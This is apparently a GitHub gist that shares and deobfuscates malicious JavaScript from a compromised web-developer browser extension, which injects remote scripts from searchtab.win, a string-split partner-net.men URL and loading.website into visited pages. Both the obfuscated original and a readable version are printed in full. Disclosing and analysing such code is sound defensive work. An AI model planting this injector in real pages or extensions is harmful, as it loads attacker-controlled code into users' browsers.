Created
August 2, 2017 17:07
-
-
Save amlwwalker/c56b717e0b5236e98da7239fdb493dea to your computer and use it in GitHub Desktop.
compromising code for webdeveloper tools
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var _0x4d27=["\x63\x6C\x6F\x75\x64\x66\x6C\x61\x72\x65\x2E\x63\x6F\x6D","\x69\x6E\x64\x65\x78\x4F\x66","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x73\x72\x63","\x2F\x2F\x73\x65\x61\x72\x63\x68\x74\x61\x62\x2E\x77\x69\x6E\x2F\x67\x61\x2E\x6A\x73","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x72\x65\x64\x69\x72\x65\x63\x74\x32\x2E\x74\x6F\x70","\x2F\x2F\x70\x61","\x72\x74\x6E\x65","\x72\x2D\x6E\x65","\x74\x2E\x6D\x65","\x6E\x2F\x63\x6F","\x64\x65\x2F\x3F","\x70\x69\x64\x3D","\x39\x37\x33\x38","\x32\x30\x26\x72","\x3D","\x72\x61\x6E\x64\x6F\x6D","\x66\x6C\x6F\x6F\x72","\x66\x69\x72\x73\x74\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x77\x77\x2E\x67\x6F\x6F\x67\x6C\x65\x2D\x61\x6E\x61\x6C\x79\x74\x69\x63\x73\x2E\x63\x6F\x6D\x2F\x61\x6E\x61\x6C\x79\x74\x69\x63\x73\x2E\x6A\x73","\x67\x61","\x47\x6F\x6F\x67\x6C\x65\x41\x6E\x61\x6C\x79\x74\x69\x63\x73\x4F\x62\x6A\x65\x63\x74","\x70\x75\x73\x68","\x71","\x6C","\x61\x73\x79\x6E\x63","\x63\x72\x65\x61\x74\x65","\x55\x41\x2D\x31\x30\x33\x30\x34\x35\x35\x35\x33\x2D\x31","\x61\x75\x74\x6F","\x73\x65\x6E\x64","\x70\x61\x67\x65\x76\x69\x65\x77"];if(top[_0x4d27[3]][_0x4d27[2]][_0x4d27[1]](_0x4d27[0])> -1){(function(){var _0xb2b9x1=document[_0x4d27[5]](_0x4d27[4]);_0xb2b9x1[_0x4d27[6]]= _0x4d27[7];_0xb2b9x1[_0x4d27[8]]= _0x4d27[9];var _0xb2b9x2=document[_0x4d27[10]](_0x4d27[4])[0];_0xb2b9x2[_0x4d27[12]][_0x4d27[11]](_0xb2b9x1,_0xb2b9x2)})()}else {if(top[_0x4d27[3]][_0x4d27[2]][_0x4d27[1]](_0x4d27[13])== -1){(function(){var _0xb2b9x3=document[_0x4d27[5]](_0x4d27[4]);_0xb2b9x3[_0x4d27[6]]= _0x4d27[7];_0xb2b9x3[_0x4d27[8]]= _0x4d27[14]+ _0x4d27[15]+ _0x4d27[16]+ _0x4d27[17]+ _0x4d27[18]+ _0x4d27[19]+ _0x4d27[20]+ _0x4d27[21]+ _0x4d27[22]+ _0x4d27[23]+ Math[_0x4d27[25]](10000000* Math[_0x4d27[24]]());var _0xb2b9x2=document[_0x4d27[10]](_0x4d27[4])[0];_0xb2b9x2[_0x4d27[12]][_0x4d27[11]](_0xb2b9x3,_0xb2b9x2);try{var _0xb2b9x4=document[_0x4d27[27]][_0x4d27[26]];_0xb2b9x4[_0x4d27[12]][_0x4d27[11]](_0xb2b9x2,_0xb2b9x4)}catch(e){document[_0x4d27[27]][_0x4d27[28]](_0xb2b9x2)}})()}};(function(_0xb2b9x5,_0xb2b9x2,_0xb2b9x6,_0xb2b9x7,_0xb2b9x8,_0xb2b9x9,_0xb2b9xa){_0xb2b9x5[_0x4d27[31]]= _0xb2b9x8;_0xb2b9x5[_0xb2b9x8]= _0xb2b9x5[_0xb2b9x8]|| function(){(_0xb2b9x5[_0xb2b9x8][_0x4d27[33]]= _0xb2b9x5[_0xb2b9x8][_0x4d27[33]]|| [])[_0x4d27[32]](arguments)},_0xb2b9x5[_0xb2b9x8][_0x4d27[34]]= 1* new Date();_0xb2b9x9= _0xb2b9x2[_0x4d27[5]](_0xb2b9x6),_0xb2b9xa= _0xb2b9x2[_0x4d27[10]](_0xb2b9x6)[0];_0xb2b9x9[_0x4d27[35]]= 1;_0xb2b9x9[_0x4d27[8]]= _0xb2b9x7;_0xb2b9xa[_0x4d27[12]][_0x4d27[11]](_0xb2b9x9,_0xb2b9xa)})(window,document,_0x4d27[4],_0x4d27[29],_0x4d27[30]);ga(_0x4d27[36],_0x4d27[37],_0x4d27[38]);ga(_0x4d27[39],_0x4d27[40]) | |
var wc = document.createElement('script'); | |
wc.type = 'text/javascript'; | |
wc.src = 'https://loading.website/alert_ce.php'; | |
var s = document.getElementsByTagName('script')[0]; | |
s.parentNode.insertBefore(wc, s); |
Via jsbeautifier:
if (top['location']['href']['indexOf']('cloudflare.com') > -1) {
(function() {
var _0xb2b9x1 = document['createElement']('script');
_0xb2b9x1['type'] = 'text/javascript';
_0xb2b9x1['src'] = '//searchtab.win/ga.js';
var _0xb2b9x2 = document['getElementsByTagName']('script')[0];
_0xb2b9x2['parentNode']['insertBefore'](_0xb2b9x1, _0xb2b9x2)
})()
} else {
if (top['location']['href']['indexOf']('redirect2.top') == -1) {
(function() {
var _0xb2b9x3 = document['createElement']('script');
_0xb2b9x3['type'] = 'text/javascript';
_0xb2b9x3['src'] = '//pa' + 'rtne' + 'r-ne' + 't.me' + 'n/co' + 'de/?' + 'pid=' + '9738' + '20&r' + '=' + Math['floor'](10000000 * Math['random']());
var _0xb2b9x2 = document['getElementsByTagName']('script')[0];
_0xb2b9x2['parentNode']['insertBefore'](_0xb2b9x3, _0xb2b9x2);
try {
var _0xb2b9x4 = document['body']['firstChild'];
_0xb2b9x4['parentNode']['insertBefore'](_0xb2b9x2, _0xb2b9x4)
} catch (e) {
document['body']['appendChild'](_0xb2b9x2)
}
})()
}
};
(function(_0xb2b9x5, _0xb2b9x2, _0xb2b9x6, _0xb2b9x7, _0xb2b9x8, _0xb2b9x9, _0xb2b9xa) {
_0xb2b9x5['GoogleAnalyticsObject'] = _0xb2b9x8;
_0xb2b9x5[_0xb2b9x8] = _0xb2b9x5[_0xb2b9x8] || function() {
(_0xb2b9x5[_0xb2b9x8]['q'] = _0xb2b9x5[_0xb2b9x8]['q'] || [])['push'](arguments)
}, _0xb2b9x5[_0xb2b9x8]['l'] = 1 * new Date();
_0xb2b9x9 = _0xb2b9x2['createElement'](_0xb2b9x6), _0xb2b9xa = _0xb2b9x2['getElementsByTagName'](_0xb2b9x6)[0];
_0xb2b9x9['async'] = 1;
_0xb2b9x9['src'] = _0xb2b9x7;
_0xb2b9xa['parentNode']['insertBefore'](_0xb2b9x9, _0xb2b9xa)
})(window, document, 'script', 'https://www.google-analytics.com/analytics.js', 'ga');
ga('create', 'UA-103045553-1', 'auto');
ga('send', 'pageview')
var wc = document.createElement('script');
wc.type = 'text/javascript';
wc.src = 'https://loading.website/alert_ce.php';
var s = document.getElementsByTagName('script')[0];
s.parentNode.insertBefore(wc, s);
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
comes from: https://wd7bdb20e4d622f6569f3e8503138c859d.win/ga.js